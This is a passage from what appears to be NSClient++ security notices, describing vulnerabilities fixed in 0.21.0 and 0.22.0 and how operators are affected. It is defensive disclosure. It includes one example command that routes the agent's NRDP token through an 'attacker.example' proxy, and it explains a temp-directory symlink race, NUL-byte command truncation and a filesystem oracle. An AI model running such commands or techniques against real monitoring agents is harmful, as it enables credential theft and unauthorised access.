- A Python script that exists but cannot be opened was run through a NULL file handle, crashing inside the interpreter’s tokenizer.
- Any agent with a Python script configured crashed as it started: the interpreter was initialised after the scripts were loaded.
- A Windows performance counter with
collection strategy = rrdand abuffer sizeof zero (or one that does not parse) built a buffer that holds nothing, and the collector thread crashed a second later reading it. check_eventlogclosed event handles that the object reading them already owned. Handle values are recycled, so the second close could land on a handle the real-time thread or another check was using.
None is known to have been exploited, and none is known to do more than crash the agent.
What to do: nothing beyond upgrading, unless a counter of yours sets
buffer size = 0; see the upgrade note.
NRDP: a request-supplied proxy sent the configured token through a caller-chosen host¶
Check your setup · Fixed in: 0.22.0 · Severity: Medium
The client host-override guard (see
Client credentials could be sent to a caller-chosen host
and Two ways past the client host-override guard)
decides on the destination the request ends up with. proxy= does not move
the destination — it decides which host the request is handed to on its way
there — so submit_nrdp proxy=http://attacker.example:3128/ command=x result=0
message=x left the configured address untouched, passed the guard, and had
the agent send the request, configured token included, to the attacker’s
proxy. For an http:// target the token arrived in the clear in the POST
body; for an https:// one the caller could add verify=none and terminate
the TLS tunnel on the proxy. Anyone with queries.execute over REST, or an
NRPE peer with allow arguments = true, could do this; no on-path position
was needed. This was the third way past the guard.
proxy and no proxy are now treated as moving the request: while a target’s
own credentials are in play, a request may not set either to something other
than what the target configured. A request that repeats the configured proxy,
a target with no credentials, a request that supplies its own token, and a
target with allow host override = true are unaffected, exactly as for
host=.
What to do: nothing, unless callers of yours pass proxy= or no-proxy=
on submit_nrdp against a target that carries a token. That is now refused
with the same message as a host= override. The remedies are the same too:
pass the token with the request, configure the proxied route as its own
target (with its proxy) and select it with target=, or set
allow host override = true on the target.
Linux packages install nsclient.ini and the log directory owner-readable¶
Check your setup · Fixed in: 0.22.0 · Severity: Medium on Linux installs with multiple local accounts
nsclient.ini holds the web admin password, the NRPE and NSCA passwords and
the submit-client tokens in plaintext. That is what the file is for — the agent
has to be able to read them — so the boundary around it is the filesystem, which
is what CVE-2025-34078 says
in the notice that covers it.
The DEB and RPM packages did not draw that boundary. /etc/nsclient/nsclient.ini
was installed root:root 0644, so every local account could read the
credentials — and then present them to the agent’s own listeners, which run
checks and, where configured, external scripts. /var/log/nsclient was
world-readable and world-traversable too, and a debug log echoes check
arguments and settings paths.
The packages now install:
| Path | Owner | Mode |
|---|---|---|
/etc/nsclient |
root:nsclient |
0750 |
/etc/nsclient/nsclient.ini |
root:nsclient |
0640 |
/var/log/nsclient |
nsclient:nsclient |
0750 |
/var/log/nsclient/nsclient.log |
nsclient:nsclient |
0640 |
The service account reads the configuration through the group and cannot write
it; nobody else sees either. The post-install scripts re-apply this on upgrade,
so a host installed before this release is fixed by upgrading rather than by
hand. They do so only when the nsclient group exists: narrowing the mode
without also handing the group to the service account would lock the daemon out
of its own configuration, so in that unusual case the scripts print a warning
and leave the permissions alone.
Windows is unaffected: the installer already sets a restrictive DACL.
What to do: nothing, if nothing but the agent reads those files. If a
local script or a monitoring user reads nsclient.ini or the log directory
without being root or in the nsclient group, add it to the nsclient group
(or give it its own copy of just what it needs) before upgrading — and treat
any credential that was in that file on a multi-user host as having been
readable by every account on it.
Web server and web UI: identity metadata, log buffer, logout and bundle staging¶
Check your setup · Fixed in: 0.22.0 · Severity: Medium
Four findings from a review of the web server and the shipped web UI. None is
remotely exploitable without credentials except the second. The first removes
an endpoint, which changes three settings on an NSCP client target - see the
upgrade note.
The raw protobuf route let a caller choose its own subject, and is gone¶
The core permission layer decides what a request may run from the calling
module and principal, which it reads out of two metadata keys on the request
header (nscp.caller_plugin_id, nscp.principal). Those keys are stamped
in-process by core_helper and are trustworthy for a request that was built
inside the agent.
POST /query.pb forwarded the caller’s protobuf into the core verbatim,
header included — so a caller who set the two keys picked its own subject and
satisfied any allow-list rule written for another module or user. The legacy
grant that unlocks the route is RCE-equivalent on its own (The legacy WEB
permission is flagged and no longer seeded by
default),
so this mattered where the policy system was used to constrain what legacy
callers could reach.
The route is removed, along with POST /settings/query.pb (unreachable for
several releases, and it read settings without the redaction the v2 endpoints
apply). Nothing that talks to an agent over HTTP used either: Icinga’s
check_nscp_api asks for GET /query/{name}, which is untouched. The one
consumer was NSClient++’s own NSCPClient, which now runs remote checks
through GET /api/v2/queries/{command}/commands/execute — an endpoint that
stamps the identity from the authenticated session instead of taking it on
trust. That client had never actually worked (it put the serialized message in
the HTTP request target and never sent its configured password), so the
transport is fixed and tested rather than migrated; see the
upgrade note for the three target settings that
changed.
The in-memory log buffer had no upper bound¶
The module subscribes to every log line the agent produces and appended each to
a buffer that only an authenticated DELETE /api/v2/logs emptied. Every
rejected request — no credentials, a host outside allowed hosts, a bad token
— logs an error, and a request is rejected before it is authenticated, so
anyone who could reach the port could grow the buffer by one heap entry per
request for the life of the process.
It is now a ring of 1000 entries, the newest kept, matching the event store next to it. The error tally the UI badge shows still counts every error the agent reported, not just the ones still buffered.
nscp web install-ui staged the download in the shared temp directory¶
The command is documented to be run as root. It wrote the downloaded bundle to
${temp}/nsclient-web-<version>.zip — a world-writable directory, a name fully
predictable from the agent’s own version — with a truncating open, then hashed
that file and extracted it. A local user could pre-create a symlink there and
have root truncate a file of their choosing, or pre-create a file they own and
rewrite its content between the hash check and the extraction, ending with
attacker-chosen HTML and JavaScript installed as the admin web UI.
The bundle is now verified in memory and written once, into a directory created
for that one install under the (root-owned) web path, with a random name and an
exclusive, symlink-refusing open — the same staging helper the REST script
upload uses (REST script uploads were staged at a predictable
path). Nothing is written to ${temp}
at all.
Logging out of the web UI did not revoke the session token¶
The UI’s logout dropped the bearer token from its own state but never called
DELETE /api/v2/login, so the token stayed valid on the server for the
remainder of its eight-hour life. A copy taken from a shared or kiosk machine,
a browser profile backup or a proxy log kept working after the administrator
had logged out — with whatever role it carried, full included. Logout now
revokes the token server-side first, and clears the stored copy immediately
rather than on the next page load.
What to do: nothing required. Anyone who logged out of the web UI on a machine they do not control should still assume the token was live until its expiry, and change the password if it was captured.
Windows release build: actions pinned and a checksum gate for downloaded dependencies¶
Fixed in: 0.22.0 · Severity: Medium (build integrity)
The Windows build fetches every native dependency — OpenSSL, protobuf,
Crypto++, Lua, TinyXML2, Mongoose, miniz, the MariaDB connector — plus the
prebuilt check_nsclient.exe that ships inside the MSI, and then
Authenticode-signs the result. TLS to the download host proves who served the
bytes, not what the bytes are: a compromised or re-uploaded upstream release
asset arrives under a valid certificate and would be signed and shipped.
Separately, third-party actions ran in the same job that receives the
code-signing credentials, and one of them was pinned to a branch
(@master) rather than to a revision — a push to that repository would have
run in the job holding the secrets.
This release:
- pins every third-party action to a commit SHA (
ilammy/msvc-dev-cmd,shogo82148/actions-setup-perl,mickem/build-boost,azure/trusted-signing-action,codacy/git-version,codespell-project/actions-codespell,ncipollo/release-action) and pins the Perl distribution to a version instead oflatest; - replaces the third-party file-writing action in the signing job with a shell heredoc, so nothing third-party runs there beyond the signing action itself;
- verifies Google Test against the commit its tag names, rather than trusting the tag;
- adds
.github/dependency-checksums.txtand the two verification scripts next to it, run from every download step. A recorded digest that does not match fails the build, and a version with no line at all fails too — so bumping a dependency cannot silently skip verification.
The digests of the eight downloaded dependencies and of check_nsclient.exe
are marked unrecorded in that file for now: recording one means fetching the
artifact and cross-checking it against the upstream project’s own published
checksum or signature, which has to be done from a machine that can reach those
hosts. Until each is filled in, its download warns in the build log instead of
being verified.
What to do: nothing — this concerns how the released artifacts are built, not an installed agent.
Fleet: bundle signatures cover which bundle it is, not only its bytes¶
Action required · Fixed in: 0.22.0 · Severity: Low
A fleet server distributes configuration and scripts to its agents as signed bundles. The Ed25519 signature used to cover the bare SHA-256 digest of the bundle’s bytes and nothing else, so it bound none of the bundle’s id, name, version or format. The digest already pins the content, which means a signature over it alone said little more than “this tenant’s server saw this blob once”.
The consequence is that a signed blob could be re-advertised as a different bundle and still verify. Anyone who could write to the server’s database — or otherwise choose what a desired state advertises — could take an old, properly signed bundle and offer it under a new id, name or version, and the agent would accept it as that bundle. Only the encrypted format’s additional authenticated data closed name and version, and only for bundles that were sealed.
The signature now covers a canonical descriptor of the bundle’s identity together with its digest: a version prefix followed by the tenant id, bundle id, name, version, format and SHA-256, NUL-separated. Every field is a ULID, an integer or a token from a grammar with no NUL in it, so no two distinct bundles can produce the same signing bytes. Priority is deliberately absent — it belongs to a group assignment rather than to the bundle, and the same bundle legitimately carries different priorities in different groups.
Because the agent needs the tenant id to rebuild the descriptor and cannot derive it (its certificate carries the tenant slug), the desired-state response now carries one. There is nothing to trust in that value: the verifying key is per tenant, so a wrong one simply fails verification.
This is a protocol change on both sides. An agent on this version refuses a bundle whose signature covers only the digest, which is what a fleet server that predates the descriptor produces.
What to do: upgrade the fleet server to a version that signs the
descriptor before (or together with) upgrading agents. An agent talking to a
server that still signs the old way reports signature verification failed
for every bundle and keeps the configuration it last applied, so a stale
agent is left running its previous configuration rather than an unverified
one. See the upgrade note for the operational
sequence.
Fleet: the certificate pin is enforced as a pin¶
Check your setup · Fixed in: 0.22.0 · Severity: Low
mtls_server_cert_pem is whatever the server returns at enrollment. The agent
added it to the trust store and skipped hostname verification, which is a pin
when the PEM is the server’s own leaf certificate. Hand out an intermediate or a
public CA instead and the same code accepted any certificate chaining to it,
for any name — weaker than ordinary verification rather than stronger, and
the agent could not tell the difference.
The pin is verified as a pin now. The pinned PEM is parsed once: for a leaf, the handshake requires the peer’s SubjectPublicKeyInfo digest to be the pinned one (the SPKI rather than the whole certificate, so a server renewing with the same key keeps matching); for a PEM that is itself a CA, hostname verification stays on, because a CA certificate cannot speak for identity on its own. A pinned PEM that will not parse is refused outright rather than silently falling back.
What to do: nothing required on a working fleet. If enrollment handed out a
CA certificate rather than the server’s leaf as the pin, hostname verification
now applies to that connection — the certificate has to match the name in
mtls_url.
check_tcp completed TLS handshakes without verifying the server certificate¶
Check your setup · Fixed in: 0.22.0 · Severity: Low
check_tcp (and check_ssh, which shares its implementation) defaulted to
verify = none and loaded no trust anchors at all unless ca= was given. A
TLS check therefore completed its handshake against any certificate the peer
presented — expired, self-signed, issued for a different host, or issued by
anyone — and reported ok.
This is a monitoring check rather than a channel carrying credentials, so the
exposure is limited to what the check reports: an operator watching a TLS
service saw a green result from a service that a client would have refused to
talk to, and an interposed endpoint presenting its own certificate was
indistinguishable from the real one. check_http was not affected; it has
always defaulted to verify = peer against the agent’s bundle.
Two further consequences of the same gap, now fixed:
- With no trust anchors loaded,
cert_verifyreportedunable to get local issuer certificatefor every publicly issued certificate, so a filter written ascrit=cert_verify != 'ok'fired on precisely the well-configured servers it was meant to bless. sni=was accepted and ignored outside a TLS session, andsans=on a plain connection reportedok. Both returned a passing result for a check that had asserted nothing about any certificate.
verify now defaults to peer, ca= defaults to the agent’s configured
bundle (${ca-path}) and falls back to OpenSSL’s own trust store, sni=
without TLS is rejected, and sans= with no certificate reports
san_missing.
What to do: nothing, if your TLS checks target publicly issued
certificates — they validate out of the box now. If a check targets an
internal or self-signed certificate, point ca= at the issuing CA, or add
verify=none to keep reading the certificate without a trust decision. See
the upgrade note.
Outbound clients: transport and recipient overrides, CA error text, payload length¶
Check your setup · Fixed in: 0.22.0 · Severity: Low
Four findings from a review of the outbound client modules. All of them need a
caller who can already run the module’s submit_* / check_* commands with
arguments — a REST user holding queries.execute, or an NRPE peer with
allow arguments = true.
A request could turn off certificate verification for a credentialed target¶
The host-override guard introduced in
notice 160
protects where a configured credential goes. It said nothing about how it
gets there, and the transport keys are request options on most of these
modules: submit_nrdp verify=none, submit_smtp insecure-skip-verify=true,
submit_nsca_ng insecure=true all left the destination exactly as the target
configured it while removing the check that the host answering for that name is
the configured server. A DNS or on-path attacker then collected the NRDP token,
the Icinga basic-auth credentials or the SMTP AUTH password.
The guard now covers the keys that decide how the connection is protected —
verify mode, insecure, insecure-skip-verify, use psk, security, ssl,
no ssl, tls version, ca, certificate, certificate key,
certificate format, allowed ciphers, dh — on the same terms as host=
and proxy=. A request that repeats what the target configured changes
nothing and is allowed; one that brings its own credentials is unaffected, as
is a target with allow host override = true.
submit_smtp could address mail as the caller liked¶
recipient= and sender= are request options, and the destination — the
submission server — was unchanged, so nothing above noticed that the caller had
chosen both ends of the message. The agent’s authenticated mailbox was
therefore usable as a relay by anyone who could run submit_smtp. Header
injection was already closed
(notice 060); this is the abuse of intended
function that was left.
Both keys are now settings-only while the target carries credentials, with
their own opt-in: allow recipient override = true on the SMTP target, which
does not also open the destination the way allow host override does.
A request-supplied ca= reported whether a path existed¶
ca= names a file the agent opens, and the OpenSSL reason for a failed load —
“No such file or directory”, “Permission denied”, “no start line” — travelled
back in the check result. That is a file-existence and readability oracle over
the whole filesystem, answered with the agent’s privileges.
The reason now goes to the agent log and the caller gets a generic message.
This applies to the HTTP clients (NRDP, Icinga), the raw-socket clients
(NSCA-NG, Graphite) and check_tcp. The guard above closes the same path for a
credentialed target outright.
A caller-chosen payload length allocated gigabytes¶
payload-length / buffer-length are request options on the NSCA and NRPE
clients and had no upper bound below INT_MAX. One submission naming
2147483647 allocated about 2 GB per payload — CSPRNG output for NSCA, a zeroed
packet for NRPE. On 32-bit builds that is an allocation failure per call; on
64-bit, memory exhaustion from a few concurrent requests. The server side
already refused such lengths. Each client now clamps to what its own protocol
accepts — 65536 for NSCA, and 1 MiB for NRPE, the ceiling its v3/v4 decoder
already enforces — and up from a minimum of 16, logging once when it does. The
bound exists to stop a multi-gigabyte allocation, not to shrink either
protocol: a 1 MiB NRPE payload is a supported configuration and still works.
What to do: nothing on a default install. If callers pass verify=,
insecure=, ca=, recipient= or sender= to a target that carries a
password or token, they will now be refused: pass the credentials with the
request, configure the variant as its own target and select it with target=,
or set allow host override = true (or allow recipient override = true for
the addressing keys alone).
Script execution and check arguments: NUL truncation, import sandbox, pipe reads, handle leak, docker endpoint, remote-connection checks¶
Check your setup · Fixed in: 0.22.0 · Severity: Low
Five findings from a review of the script launcher and the checks that take a connection or a path as an argument.
A NUL in an argument truncated the Windows command line¶
Neither metacharacter filter contained NUL, protobuf strings carry it and REST
forwards URL parameters verbatim. CreateProcessW reads lpCommandLine as a C
string, so with a template of check.exe $ARG1$ --read-only an $ARG1$ of
x\0 ran check.exe x: every operator-fixed argument after the substitution
point silently disappeared. On unix only the one argv element was truncated,
which is still not what the template says.
A NUL in an argument is now refused whatever allow nasty characters says. It
is not a metacharacter an operator can decide to allow — it changes what the
launcher was asked to run.
ext-scr add --import read any file the agent could¶
Notice 050 confined
show and delete to the script root so an administrator could not read files
outside it. add --import copied from any path the service account could read
into the script root under a chosen name, after which show returned the
bytes — so the sandbox held only until someone carried a file inside it.
Reachable from the nscp command line and over REST through the legacy /exec
route.
Import sources are now confined to the script root, ${shared-path} and the
upload staging area under ${temp}, which are the three places a script is
legitimately imported from. PUT /api/v2/scripts was never affected; it pins
--import to its own staged upload.
A script printing in exact buffer-sized chunks wedged a worker (Windows)¶
The read loop kept calling ReadFile as long as the previous read had filled
the whole chunk, and ReadFile on a pipe blocks until a byte arrives. A script
that wrote exact multiples of 4086 bytes and then stalled parked the worker
thread with no deadline check at all, past the wall-clock timeout added in
notice 050, until the child wrote again or exited. Each read now takes only what
PeekNamedPipe reported, which cannot block.
A timed-out script leaked a process handle (Windows)¶
The timeout branch returned before the CloseHandle, so every timed-out — and
every forked — invocation leaked a handle and kept the process object alive in a
service that runs for months. A caller able to make a script hang through its
arguments drove this remotely. Both handles are owned by an RAII wrapper now.
check_docker host= probed any local socket or pipe¶
The endpoint validator already refused a UNC path, so a rogue remote pipe server
could not be reached. What remained was that the agent would GET
/containers/json against any absolute unix socket path or \\.\pipe\<name> a
caller named, and report the status code or parse error: a read-only probe of
every socket and pipe on the host, performed as SYSTEM or root. Which daemon
the agent talks to is now settled by endpoint under [/settings/docker]; a
request repeating that value is still accepted, one replacing it is not.
Checks that connect somewhere else are documented as such¶
check_wmi, check_mysql, check_mssql and check_uncpath take the host, the
credentials and sometimes the whole connection string as arguments. Where the
caller supplies those, they are server-side request forgery from the agent’s
network position, and an outbound authentication attempt made on the caller’s
behalf. That is by design and the controls are the ones that decide whether a
caller may pass arguments at all — now stated as such in the securing guide and
in Restricting what a check may read. check_wmi
remains the only one with a named-target gate of its own.
What to do: nothing on a default install. If a check definition passes
host= to a docker check, make sure it names the same endpoint as
[/settings/docker], or drop the argument. If any workflow relies on
ext-scr add --import reading from outside the script folder, copy the file
into ${shared-path} first.
Listeners: the insecure NRPE cipher string, a key nrpe install never wrote, and * in allowed hosts¶
Check your setup · Fixed in: 0.22.0 · Severity: Low
Three findings from a review of the network listeners and their TLS configuration. None is a bypass; two are cases where the configuration did not mean what it said, and one is an availability footgun.
The insecure NRPE preset claimed a protection it could not provide¶
The legacy preset’s cipher string carried !ADH, with a comment saying that
kept anonymous suites out. It never did. In an OpenSSL cipher string ADH names
the anonymous finite-field Diffie-Hellman suites only; the anonymous
elliptic-curve ones are AECDH, and !aNULL is the alias covering both. And
!aNULL here would have left no usable suite at all: the insecure mode loads no
server certificate, so the anonymous suites are the only ones that can complete
a handshake. The mode is anonymous by construction, and it already logs an error
saying the traffic can be intercepted.
The string now says what the mode is (ALL:!MD5:@STRENGTH:@SECLEVEL=0, matching
what nscp nrpe install --insecure writes) instead of implying a check that is
not there. The secure preset gains !aNULL alongside !ADH, where it is belt
and braces — the default security level refuses every anonymous suite anyway.
nscp nrpe install wrote a key the server never reads¶
The command reported that NRPE was enabled via SSL while writing ssl = true
under [/settings/NRPE/server]. The server registers use ssl, so the value
was read by nothing. use ssl defaults to true, which is why a fresh install
was unaffected; on a host where an operator had previously set use ssl = false,
re-running nscp nrpe install --ca … --verify peer-cert claimed encryption and
client-certificate authentication while the listener stayed in plaintext. The
command now writes use ssl.
allowed hosts advertised * ranges the parser could not handle¶
The setting’s help text and the permissions documentation have described
192.168.1.* for years. The parser treated it as a numeric address and
make_address threw — outside the try that wraps only the DNS branch, so the
exception escaped the refresh. With cache allowed hosts = true (the default)
it escaped module loading too: the plugin manager dropped the module and the
listener never started. With caching off it threw on every accept. Both fail
closed, so this was an outage rather than a bypass, but from a documented
syntax.
* is implemented now: 192.168.1.* is 192.168.1.0/24, 192.168.* is
/16, 10.* is /8 and a bare * is every address. A * in the middle of an
address, or combined with an explicit /mask, is reported as a configuration
error, and an unparseable numeric entry is now an error beside the others rather
than an exception that takes the listener with it.
What to do: nothing required. If you have been avoiding * in
allowed hosts because it stopped a listener, it works now. If a host had
use ssl = false and you ran nscp nrpe install, check the value: the install
command was reporting TLS it had not enabled.
Web server: browser hardening headers, TLS 1.3 on Linux, session tokens and handler errors¶
Check your setup · Fixed in: 0.22.0 · Severity: Low
Five findings from a review of the web server and the shipped UI. None is remotely exploitable on its own; together they are the difference between a browser that can defend the admin UI and one that cannot.
No hardening headers were sent at all¶
Responses carried Content-Type and cookies and nothing else. With the session token in browser storage, a page able to frame the agent got an authenticated UI to click-jack — the only thing stopping it was that modern browsers partition storage for cross-site iframes, which is the browser defending itself rather than the agent asking. The absence of a content security policy also left any future injection unmitigated.
Every response now carries X-Frame-Options: DENY,
X-Content-Type-Options: nosniff, Referrer-Policy: no-referrer and a content
security policy (default-src 'self'; frame-ancestors 'none'; base-uri 'none';
object-src 'none', plus what the bundled UI needs), with
Strict-Transport-Security added when the connection is TLS. They are applied
where the response is written, so static files, API answers and error pages all
get them.
The REST API was TLS 1.2 only on every Linux build¶
The beast backend — which is what every DEB and RPM uses — built its TLS context
with asio’s tlsv12_server method, which pins both ends of the version range
to TLS 1.2, so TLS 1.3 could never be negotiated. It also honoured neither
tls version nor allowed ciphers, which the NRPE and NSCA listeners have
always taken. Both settings now exist under [/settings/WEB/server] and are
honoured, with tls version defaulting to 1.2+. A value this listener cannot
honour stops it starting rather than quietly leaving the library defaults in
place, since falling back is the opposite of what an operator narrowing the
setting asked for; tls version = sslv3 is refused outright, because the
context excludes SSL 3.0 and a range pinned to it would start a listener that
completes no handshake at all. The mongoose backend drives TLS through its own
stack, which exposes neither knob; it logs that it is ignoring a value the
operator set rather than pretending otherwise.
Every Basic-auth request minted a persistent session token¶
process_auth_header created an eight-hour token on every request, not only on
the login routes — so each Icinga check_nscp_api poll made one. The store
evicts the oldest live entry once it holds 4096, so a host running 20 checks a
minute filled it in about three and a half hours and then evicted the operator’s
UI session within minutes; any authenticated user of any role could do the same
deliberately with 4096 requests. Only the login routes issue a token now; every
other route authenticates without adding to the store.
The session credential was stored twice¶
The server set the bearer as an HttpOnly token cookie (and the user as uid)
on every authenticated response, and no request path ever authenticated from a
Cookie header. The credential was simply stored a second time, in a mechanism
that looked functional to whoever read the code next. The identity is now
request-scoped state that is never serialized, and no Set-Cookie is emitted.
The UI keeps its bearer in sessionStorage rather than localStorage, so it no
longer survives a browser restart or travels in a profile backup; a token left
in localStorage by an earlier build is cleared on logout.
Handler exceptions were echoed to the caller, and leaked the response¶
Any exception out of a request handler — an unavailable peer address, a
disengaged optional, a regex error — returned its what() text verbatim to a
client that need not have authenticated, and the response object allocated for
that request was never freed. The detail goes to the agent log now, the caller
gets a bare 500, and the response is owned for the duration.
/api/v2/scripts/<runtime> accepted any module name¶
The URL’s first segment was used verbatim as both the permission suffix and the
module the request was executed against, so a role granted scripts.* rather
than a specific runtime could drive the add/delete/show/list verbs of any loaded
module implementing them; on PUT and DELETE the segment could be empty. It is an
allow-list now (ext, py, lua), and anything else is refused with 400
before the permission check. lua is mapped for the first time — the runtimes
listing has always advertised it while the mapping never translated it.
What to do: nothing required. If you front the web UI with a proxy that
embeds it in a frame, note that X-Frame-Options: DENY and
frame-ancestors 'none' now forbid that. A script that logs in through Basic
auth and then reuses the key from the response body should call
GET /api/v2/login, which is the route that issues one.
Elastic and Op5 submissions warn about an unverified TLS link¶
Fixed in: 0.22.0 · Severity: Low
ElasticClient and Op5Client both send credentials to an https endpoint —
Elasticsearch basic auth or an API key, an Op5 user and password — and both
honour a verify mode that can turn peer verification off. Until now they did
so silently: a link whose verify mode resolves to no peer verification hands
those credentials to whichever server answers the connection, with nothing in
the log to say so. The Icinga, NRDP and NRPE clients already warn in that
situation; these two now do too, naming the endpoint and the mode.
The warning is logged once per module load (not per submission) and only when
credentials are actually configured — without them the exposure is the
submitted data alone, which the verify mode setting description already
spells out. Nothing about the connection changes: verify mode = none stays
what the operator asked for.
The Icinga client’s equivalent warning was logged on every submission, which on a 60 s schedule buried it under 1440 copies a day. It is now gated the same way the NRDP client’s is: once per target and mode for as long as the service runs.
The shared --verify, --ca, --certificate-key and --allowed-ciphers
option descriptions — used by NRPEClient, NSCPClient, NSCAClient,
CheckMKClient and NSCANgClient — read “Client certificate format” for
three of the four, so --verify documented nothing at all. They now describe
what they do, and --verify lists the accepted values and says what none
costs.
What to do: nothing required. If the message names an endpoint you
expected to be verified, set verify mode = peer (or peer-cert with ca
pointing at the certificate).
The shared default password is always treated as sensitive¶
Fixed in: 0.22.0 · Severity: Low
Redaction of sensitive settings is per registered key: a module declares a key
with add_password, and the core then answers *** for it on every read path
(Settings values for sensitive keys are redacted on
read, Sensitive
settings are redacted in the nscp test settings
dump).
password under /settings/default is the shared secret the NRPE, NSCA and
NSClient protocols and the web server all fall back to, but it is declared
only by WEBServer, NSCAServer and NSClientServer. On an agent running
none of those — check modules only, or NRPEServer alone, which reads the key
but does not declare it — nothing marked it sensitive, so the value was
printed in clear text by the settings command of the nscp test prompt, by
nscp settings --list / --show, and by the REST read paths. Which modules
happened to be enabled decided whether the same secret was masked.
The core now registers the key as sensitive itself, so the masking no longer
depends on the module list. Sensitivity is still an exact path-and-key entry:
allowed hosts beside it, and a password under some other path, are
unaffected. As before, this is a defense-in-depth change and not an
authorization boundary — the value is still stored in nsclient.ini and
readable by anyone who can read that file.
What to do: nothing required. See the upgrade note if you store credentials in the Windows Credential Manager.
Access modes for the checks whose argument decides what is read¶
Check your setup · Fixed in: 0.21.0 · Severity: Low (hardening; no vulnerability — the previous behaviour is the documented purpose of these checks)
Several checks take an argument which decides what data is read rather than how
it is judged, and the agent reads it with its own privileges (SYSTEM on
Windows, root or the service account on Linux):
| Check | Argument | Reach |
|---|---|---|
check_logfile |
file= |
any file the agent can open; the line and columnN keywords return its contents |
check_wmi |
query= |
any WMI class, including the filesystem via CIM_DataFile and Win32_Directory |
check_pdh (check_counter) |
counter= |
any performance object on the machine |
check_files, check_single_file |
path=, file= |
any directory tree the agent can read: every name, size and timestamp, and a checksum of any file |
check_disk_write |
file= |
creates and deletes a test file at any path the agent can write |
check_registry_key, check_registry_value |
key= |
any registry key, and the value data itself, with binary rendered as hex |
check_eventlog |
file=, log= |
any event log channel, and the event text itself |
This is the documented purpose of those checks and is not a vulnerability: on a
host where only the configuration decides what runs, nothing here is reachable
by a caller. It becomes a disclosure surface where the caller chooses the
argument — NRPE with allow arguments = true, or a REST user not on the
no-arguments restricted role
— because a single check can then return the contents of any file the agent can
read. Until
now an operator had no way to narrow that short of disabling the module.
What changed¶
Each of these modules gained an access mode and an allow list, defaulting to
any — the behaviour of every earlier release, so no installation changes on
upgrade.
| Check | Section | Mode setting | Allow list |
|---|---|---|---|
check_logfile |
[/settings/logfile] |
file access |
allowed files |
check_wmi |
[/settings/wmi] |
query access |
allowed classes, allowed namespaces |
check_pdh |
[/settings/system/windows] |
counter access |
allowed counters |
check_files, check_single_file, check_disk_write |
[/settings/disk] |
file access |
allowed files |
check_registry_key, check_registry_value |
[/settings/system/windows] |
registry access |
allowed registry keys |
check_eventlog |
[/settings/eventlog] |
log access |
allowed logs |
allowed accepts only values matching the list; predefined accepts only names
the operator configured and refuses a raw value outright. allowed is
experimental - it parses and matches what the caller sent, and every such
parser is a place where the gate and the operating system can disagree about
what a string means - whereas predefined only looks a name up, so it is the
secure option for any check whose data matters. Configured names
resolve in every mode, so a site can name its checks first and tighten the mode
afterwards without rewriting the monitoring server’s commands.
Three details matter for the strength of the control:
- File paths are resolved before they are matched.
..is flattened and symbolic links and junctions are followed, so neither a traversal out of an allowed directory nor a link planted inside one widens it. The resolved path is also the one the check opens, so nothing re-resolves the name between the check and the read. Separators are folded before that resolution, and only where the platform separates on them - folding afterwards would hand back a path still carrying a..for the kernel to walk after the match had passed. The resolver alone is not trusted for this: it follows links only in the part of the path which exists and appends the rest lexically, so a..cancelling a name which is not there (logs/nonexist/../link), an element too long for the file system or a link loop all used to leave a link after that point unresolved. The result is now walked once more and refused if any element is still a link, and a path which cannot be resolved, a relative path, or one carrying a NUL byte is refused outright. The NUL rule applies to every gate: a glob matched the whole token while the C or wide-string API the check then called saw only the part before the NUL, soSecurity<NUL>Operationalpassed*Operational. - An argument which is not the path still cannot leave it.
check_filestakes apattern, which the scanner appends to each directory it walks; while access is restricted it must be a file mask, not a path, or the scan would step outside the root that passed the gate. - A WMI query whose class cannot be determined with certainty is refused, not
guessed at.
ASSOCIATORS OF,REFERENCES OF, a class path carrying a namespace or machine name, and multiple statements are all rejected inallowedmode; approving the trailing identifier of a qualified path would let the query read from a provider the allow list never permitted. Such queries remain usable as predefined queries. - A misspelled mode fails closed. An unrecognised value refuses every request and is logged at startup, rather than reading as “no restriction”.
The registry and event-log gates cover the two widest reads of the set, and both
return content in their default rendering, so a caller needs no syntax argument
to receive it. check_registry_value renders REG_BINARY as hex and will walk a
whole subtree with recursive=true; check_eventlog returns event text through
message, strings and xml from any channel the agent can read. Their
allow-list entries are hierarchical rather than glob - an entry covers that key or
channel and everything below it, matched on whole name segments, so
HKLM\SOFTWARE\MyApp cannot be widened into HKLM\SOFTWARE\MyAppOther - and
both registry hive spellings compare equal. Only the starting key or channel is
checked, because enumeration below it cannot leave the subtree. While registry
access is restricted the computer= argument is refused, so the local registry is
the only one reachable.
The disk checks are a weaker case than check_logfile and were included for
reach rather than depth: they never return file contents, but they enumerate
whole directory trees (name, size, timestamps, executable version) and their
checksum keywords hash any readable file, which confirms known content and for a
short or predictable file effectively recovers it. For check_files only the
scan root is held against the policy - the recursion refuses to follow symbolic
links, directory and file links alike (the Windows scanner previously skipped
only directory reparse points, so a file symlink planted in an allowed tree
could be hashed through), so every file it yields is genuinely beneath a root
which passed.
Refusals name what was rejected and the section that governs it, but never the contents of the allow list.
While query access is not any, check_wmi additionally requires
namespace= to match allowed namespaces (an empty list meaning the default
root\cimv2 only), and requires target= to name a target defined in
[/settings/wmi/targets] — an unknown target was otherwise taken as a bare host
name, which would let a caller point a restricted check at a machine of its own
choosing.
The nscp wmi command line is unchanged: it is a local administrative tool, and
reaching it over REST already requires the legacy or console.exec
permission, which is administrator-equivalent.
What to do: nothing on upgrade. If callers can pass arguments to these
checks — NRPE with allow arguments = true, or a REST user not on the
no-arguments restricted role — set the mode to predefined (or allowed) on the modules you have enabled. See
Restricting what a check may read and the
securing guide.
WEB: a metrics role, and a corrected metrics grant on the monitoring role¶
Check your setup · Fixed in: 0.21.0 · Severity: Low
The bundled monitoring role listed metrics.get among its grants, but no
endpoint has ever required that privilege: /api/v2/metrics is gated by
metrics.list and /api/v2/openmetrics by openmetrics.list, and grants
match per dot-separated segment, so metrics.get matched neither. A
monitoring user could therefore not read metrics at all, and the documented
advice to use that role for Prometheus produced a 403 with nothing in the role
list to explain it.
monitoring now grants metrics.list,openmetrics.list in place of the dead
metrics.get, so on a fresh install a monitoring user can read the
metrics endpoints — access the role was always described as having, but which
it did not in fact confer. Existing configurations are not rewritten: the role
string already in nsclient.ini is left exactly as it is, so nothing widens
under an upgrade.
Because a scraper needs no ability to run checks, the module also ships a
metrics role (public,metrics.list,openmetrics.list,login.get) that reads
the two endpoints and nothing else. Prefer it over monitoring for Prometheus:
it does not carry queries.execute, which can run any registered command.
What to do: if you assign the built-in monitoring role and do not want
its users reading metrics, pin the grants you want explicitly in
[/settings/WEB/server/roles] rather than relying on the shipped default. If
you have a scrape user on monitoring (or a hand-written role) and want it
narrowed, move it to metrics — see
